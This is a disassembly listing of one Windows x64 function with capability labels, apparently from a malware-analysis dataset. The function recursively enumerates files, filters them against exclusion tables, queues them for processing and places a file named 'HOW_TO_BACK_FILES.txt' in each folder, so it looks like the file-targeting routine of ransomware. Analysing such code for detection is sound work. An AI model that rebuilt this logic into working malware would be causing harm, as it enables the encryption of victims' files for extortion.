Function at 0x140007ae0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbx
push rbp
push r12
push r13
push r14
sub rsp, 0x2b0
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov ebx, r9d
mov r12d, r8d
movzx r13d, dx
mov dword [rsp + 0x30], ebx
mov r8d, 4
lea rdx, str.._
mov r14, rcx
call qword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
lea rcx, [r14 + 8]
cmovne rcx, r14
movzx eax, word [rcx]
mov dword [rsp + 0x34], eax
cmp r13w, 0x31
je 0x140007b47
mov eax, 0x30
mov dword [rsp + 0x34], eax
mov ecx, 0x2000
call fcn.14003405c
mov rbp, rax
test rax, rax
je 0x140007e4c
mov qword [rsp + 0x2a8], rdi
lea r8, str._s
mov r9, r14
mov qword [rsp + 0x2a0], r15
mov edx, 0x1000
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov eax, dword [0x140073ca4]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x28], eax
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140007be9
mov rcx, r14
call fcn.140023210
mov eax, dword [0x140073ca4]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x28], eax
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x140007e34
mov qword [rsp + 0x2f8], rsi
lea rsi, [0x140000000]
nop dword [rax + rax]
lea rdx, [0x140067e94]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140007de1
lea rdx, [0x140067e98]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140007de1
lea rax, [rsp + 0x6c]
mov r9, r14
lea r8, [0x140067f80]
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rbp
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
test byte [rsp + 0x40], 0x10
je 0x140007cae
test ebx, ebx
jne 0x140007cae
movzx ebx, di
nop dword [rax]
nop dword [rax + rax]
movzx edx, bx
lea rcx, [rsp + 0x6c]
mov rdx, qword [rsi + rdx*8 + 0x5e7b0]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140007ddd
inc bx
cmp bx, 0x28
jb 0x140007c70
xor r9d, r9d
mov r8d, r12d
movzx edx, r13w
mov rcx, rbp
call fcn.140007ae0
jmp 0x140007ddd
lea rdx, [0x140076180]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140007de1
lea rdx, str.HOW_TO_BACK_FILES.txt
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140007de1
test byte [rsp + 0x40], 0xa7
je 0x140007de1
nop dword [rax]
movzx eax, di
lea rcx, [rsp + 0x6c]
lea rbx, [rax*8 + 0x5f530]
add rbx, rsi
mov rdx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
mov rsi, rax
test rax, rax
je 0x140007d30
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, ebx
je 0x140007dd4
inc di
lea rsi, [0x140000000]
cmp di, 0x34
jb 0x140007cf0
xor bl, bl
lea rsi, [0x140000000]
nop dword [rax]
movzx edx, bl
lea rcx, [rsp + 0x6c]
mov rdx, qword [rsi + rdx*8 + 0x5e8f0]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140007ddb
inc bl
cmp bl, 0xd
jb 0x140007d50
test r12d, r12d
je 0x140007e75
xor ebx, ebx
nop dword [rax]
movzx eax, bx
lea rcx, [rsp + 0x6c]
lea rdi, [rax*8 + 0x5e960]
add rdi, rsi
mov rdx, qword [rdi]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
mov rsi, rax
test rax, rax
je 0x140007dc4
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, qword [rdi]
mov rcx, rsi
mov r8d, eax
call qword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
je 0x140007e6e
inc bx
lea rsi, [0x140000000]
cmp bx, 0x1c
jb 0x140007d80
lea rsi, [0x140000000]
xor edi, edi
mov ebx, dword [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140007c00
mov rsi, qword [rsp + 0x2f8]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rax, str.HOW_TO_BACK_FILES.txt
mov r9, r14
lea r8, [0x140067f80]
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rbp
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rbp
call fcn.1400075f0
mov rcx, rbp
call fcn.140034048
mov r15, qword [rsp + 0x2a0]
mov rdi, qword [rsp + 0x2a8]
xor eax, eax
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.14002c2f0
add rsp, 0x2b0
pop r14
pop r13
pop r12
pop rbp
pop rbx
ret
lea rsi, [0x140000000]
mov ecx, 0x30
call fcn.14003405c
mov rbx, rax
test rax, rax
je 0x140007ddb
mov edi, dword [rsp + 0x34]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov rcx, rbp
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x28], di
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14003405c
mov qword [rbx + 0x20], rax
test rax, rax
je 0x140007edf
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x140076288]
mov r9, rbx
xor r8d, r8d
mov dword [rbx + 0x2c], 1
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140007f12
lock inc dword [0x140076280]
lock inc dword [0x1400762fc]
jmp 0x140007ddb
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140007f20
call fcn.140034048
mov rcx, rbx
call fcn.140034048
jmp 0x140007ddb